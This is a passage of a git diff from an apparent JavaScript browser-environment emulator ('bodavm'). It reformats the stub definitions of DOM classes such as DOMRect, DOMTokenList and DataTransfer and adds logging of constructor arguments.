+bodavm.toolsFunc.defineProperty('DOMQuad', "p3", { + configurable: true, + enumerable: true, + get: function p3() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].prototype, "DOMQuad", "p3_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMQuad', "p4", { + configurable: true, + enumerable: true, + get: function p4() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].prototype, "DOMQuad", "p4_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMQuad', "getBounds", { + configurable: true, + enumerable: true, + writable: true, + value: function getBounds() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].prototype, "DOMQuad", "getBounds", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMQuad', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMQuad'].prototype, "DOMQuad", "toJSON", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DOMRect.js b/env_xbb_lastest_jsdom/env/DOMRect.js index 7f4423b6..ee4b4eeb 100644 --- a/env_xbb_lastest_jsdom/env/DOMRect.js +++ b/env_xbb_lastest_jsdom/env/DOMRect.js @@ -1,10 +1,64 @@ -// DOMRect对象 -bodavm.memory.globalobj['DOMRect'] = function DOMRect(){this._boarg= new bodaobj.window.DOMRect();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMRect'], "DOMRect"); -bodavm.memory.globalobj['DOMRect'].prototype.__proto__=bodavm.memory.globalobj['DOMRectReadOnly'].prototype; -bodavm.memory.globalobj['DOMRect'].__proto__=bodavm.memory.globalobj['DOMRectReadOnly']; -bodavm.toolsFunc.defineProperty('DOMRect', "fromRect", {configurable:true, enumerable:true, writable:true, value:function fromRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].undefined, "DOMRect", "fromRect", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMRect', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "x_get", arguments)}, set:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "x_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMRect', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "y_get", arguments)}, set:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "y_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMRect', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMRect', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "height_set", arguments)}},'prototype'); +// DOMRect对象 + +bodavm.memory.globalobj['DOMRect'] = function DOMRect() { + console.log_copy('DOMRect 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.DOMRect(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMRect'], "DOMRect"); +bodavm.memory.globalobj['DOMRect'].prototype.__proto__ = bodavm.memory.globalobj['DOMRectReadOnly'].prototype; +bodavm.memory.globalobj['DOMRect'].__proto__ = bodavm.memory.globalobj['DOMRectReadOnly']; +bodavm.toolsFunc.defineProperty('DOMRect', "fromRect", { + configurable: true, + enumerable: true, + writable: true, + value: function fromRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].undefined, "DOMRect", "fromRect", arguments); + } +}); +bodavm.toolsFunc.defineProperty('DOMRect', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "x_get", arguments); + }, + set: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "x_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMRect', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "y_get", arguments); + }, + set: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "y_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMRect', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMRect', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "height_get", arguments); + }, + set: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRect'].prototype, "DOMRect", "height_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DOMRectList.js b/env_xbb_lastest_jsdom/env/DOMRectList.js index f3e9388f..a7933750 100644 --- a/env_xbb_lastest_jsdom/env/DOMRectList.js +++ b/env_xbb_lastest_jsdom/env/DOMRectList.js @@ -1,5 +1,33 @@ -// DOMRectList对象 -bodavm.memory.globalobj['DOMRectList'] = function DOMRectList(){if (!(this instanceof DOMRectList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMRectList'], "DOMRectList"); -bodavm.toolsFunc.defineProperty('DOMRectList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectList'].prototype, "DOMRectList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMRectList', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectList'].prototype, "DOMRectList", "item", arguments)}},'prototype'); +// DOMRectList对象 + +bodavm.memory.globalobj['DOMRectList'] = function DOMRectList() { + console.log_copy('DOMRectList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DOMRectList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMRectList'], "DOMRectList"); +bodavm.toolsFunc.defineProperty('DOMRectList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectList'].prototype, "DOMRectList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMRectList', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectList'].prototype, "DOMRectList", "item", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DOMRectReadOnly.js b/env_xbb_lastest_jsdom/env/DOMRectReadOnly.js index 747b6731..19f8c365 100644 --- a/env_xbb_lastest_jsdom/env/DOMRectReadOnly.js +++ b/env_xbb_lastest_jsdom/env/DOMRectReadOnly.js @@ -1,13 +1,94 @@ -// DOMRectReadOnly对象 -bodavm.memory.globalobj['DOMRectReadOnly'] = function DOMRectReadOnly(){this._boarg= new bodaobj.window.DOMRectReadOnly();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMRectReadOnly'], "DOMRectReadOnly"); -bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "fromRect", {configurable:true, enumerable:true, writable:true, value:function fromRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].undefined, "DOMRectReadOnly", "fromRect", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "top", {configurable:true, enumerable:true, get:function top (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "top_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "right", {configurable:true, enumerable:true, get:function right (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "right_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "bottom", {configurable:true, enumerable:true, get:function bottom (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "bottom_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "left", {configurable:true, enumerable:true, get:function left (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "left_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "toJSON", arguments)}},'prototype'); +// DOMRectReadOnly对象 + +bodavm.memory.globalobj['DOMRectReadOnly'] = function DOMRectReadOnly() { + console.log_copy('DOMRectReadOnly 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.DOMRectReadOnly(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMRectReadOnly'], "DOMRectReadOnly"); +bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "fromRect", { + configurable: true, + enumerable: true, + writable: true, + value: function fromRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].undefined, "DOMRectReadOnly", "fromRect", arguments); + } +}); +bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "top", { + configurable: true, + enumerable: true, + get: function top() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "top_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "right", { + configurable: true, + enumerable: true, + get: function right() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "right_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "bottom", { + configurable: true, + enumerable: true, + get: function bottom() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "bottom_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "left", { + configurable: true, + enumerable: true, + get: function left() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "left_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMRectReadOnly', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMRectReadOnly'].prototype, "DOMRectReadOnly", "toJSON", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DOMStringList.js b/env_xbb_lastest_jsdom/env/DOMStringList.js index 33e6ae36..c667bfff 100644 --- a/env_xbb_lastest_jsdom/env/DOMStringList.js +++ b/env_xbb_lastest_jsdom/env/DOMStringList.js @@ -1,6 +1,41 @@ -// DOMStringList对象 -bodavm.memory.globalobj['DOMStringList'] = function DOMStringList(){if (!(this instanceof DOMStringList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMStringList'], "DOMStringList"); -bodavm.toolsFunc.defineProperty('DOMStringList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMStringList'].prototype, "DOMStringList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMStringList', "contains", {configurable:true, enumerable:true, writable:true, value:function contains (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMStringList'].prototype, "DOMStringList", "contains", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMStringList', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMStringList'].prototype, "DOMStringList", "item", arguments)}},'prototype'); +// DOMStringList对象 + +bodavm.memory.globalobj['DOMStringList'] = function DOMStringList() { + console.log_copy('DOMStringList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DOMStringList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMStringList'], "DOMStringList"); +bodavm.toolsFunc.defineProperty('DOMStringList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMStringList'].prototype, "DOMStringList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMStringList', "contains", { + configurable: true, + enumerable: true, + writable: true, + value: function contains() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMStringList'].prototype, "DOMStringList", "contains", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMStringList', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMStringList'].prototype, "DOMStringList", "item", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DOMStringMap.js b/env_xbb_lastest_jsdom/env/DOMStringMap.js index 1f2ca394..77044832 100644 --- a/env_xbb_lastest_jsdom/env/DOMStringMap.js +++ b/env_xbb_lastest_jsdom/env/DOMStringMap.js @@ -1,3 +1,17 @@ -// DOMStringMap对象 -bodavm.memory.globalobj['DOMStringMap'] = function DOMStringMap(){if (!(this instanceof DOMStringMap)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMStringMap'], "DOMStringMap"); +// DOMStringMap对象 + +bodavm.memory.globalobj['DOMStringMap'] = function DOMStringMap() { + console.log_copy('DOMStringMap 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DOMStringMap)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMStringMap'], "DOMStringMap"); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DOMTokenList.js b/env_xbb_lastest_jsdom/env/DOMTokenList.js index 05277e63..5762587c 100644 --- a/env_xbb_lastest_jsdom/env/DOMTokenList.js +++ b/env_xbb_lastest_jsdom/env/DOMTokenList.js @@ -1,17 +1,131 @@ -// DOMTokenList对象 -bodavm.memory.globalobj['DOMTokenList'] = function DOMTokenList(){if (!(this instanceof DOMTokenList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMTokenList'], "DOMTokenList"); -bodavm.toolsFunc.defineProperty('DOMTokenList', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMTokenList', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMTokenList', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "values", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMTokenList', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMTokenList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DOMTokenList', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMTokenList', "add", {configurable:true, enumerable:true, writable:true, value:function add (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "add", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMTokenList', "contains", {configurable:true, enumerable:true, writable:true, value:function contains (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "contains", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMTokenList', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "item", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMTokenList', "remove", {configurable:true, enumerable:true, writable:true, value:function remove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "remove", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMTokenList', "replace", {configurable:true, enumerable:true, writable:true, value:function replace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "replace", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMTokenList', "supports", {configurable:true, enumerable:true, writable:true, value:function supports (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "supports", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMTokenList', "toggle", {configurable:true, enumerable:true, writable:true, value:function toggle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "toggle", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMTokenList', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "toString", arguments)}},'prototype'); +// DOMTokenList对象 + +bodavm.memory.globalobj['DOMTokenList'] = function DOMTokenList() { + console.log_copy('DOMTokenList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DOMTokenList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMTokenList'], "DOMTokenList"); +bodavm.toolsFunc.defineProperty('DOMTokenList', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMTokenList', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMTokenList', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "values", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMTokenList', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMTokenList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMTokenList', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMTokenList', "add", { + configurable: true, + enumerable: true, + writable: true, + value: function add() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "add", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMTokenList', "contains", { + configurable: true, + enumerable: true, + writable: true, + value: function contains() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "contains", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMTokenList', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "item", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMTokenList', "remove", { + configurable: true, + enumerable: true, + writable: true, + value: function remove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "remove", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMTokenList', "replace", { + configurable: true, + enumerable: true, + writable: true, + value: function replace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "replace", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMTokenList', "supports", { + configurable: true, + enumerable: true, + writable: true, + value: function supports() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "supports", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMTokenList', "toggle", { + configurable: true, + enumerable: true, + writable: true, + value: function toggle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "toggle", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMTokenList', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "toString", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DataTransfer.js b/env_xbb_lastest_jsdom/env/DataTransfer.js index 1d364fef..2027f1ca 100644 --- a/env_xbb_lastest_jsdom/env/DataTransfer.js +++ b/env_xbb_lastest_jsdom/env/DataTransfer.js @@ -1,12 +1,90 @@ -// DataTransfer对象 -bodavm.memory.globalobj['DataTransfer'] = function DataTransfer(){this._boarg= new bodaobj.window.DataTransfer();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DataTransfer'], "DataTransfer"); -bodavm.toolsFunc.defineProperty('DataTransfer', "dropEffect", {configurable:true, enumerable:true, get:function dropEffect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "dropEffect_get", arguments)}, set:function dropEffect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "dropEffect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransfer', "effectAllowed", {configurable:true, enumerable:true, get:function effectAllowed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "effectAllowed_get", arguments)}, set:function effectAllowed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "effectAllowed_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransfer', "items", {configurable:true, enumerable:true, get:function items (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "items_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransfer', "types", {configurable:true, enumerable:true, get:function types (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "types_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransfer', "files", {configurable:true, enumerable:true, get:function files (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "files_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransfer', "clearData", 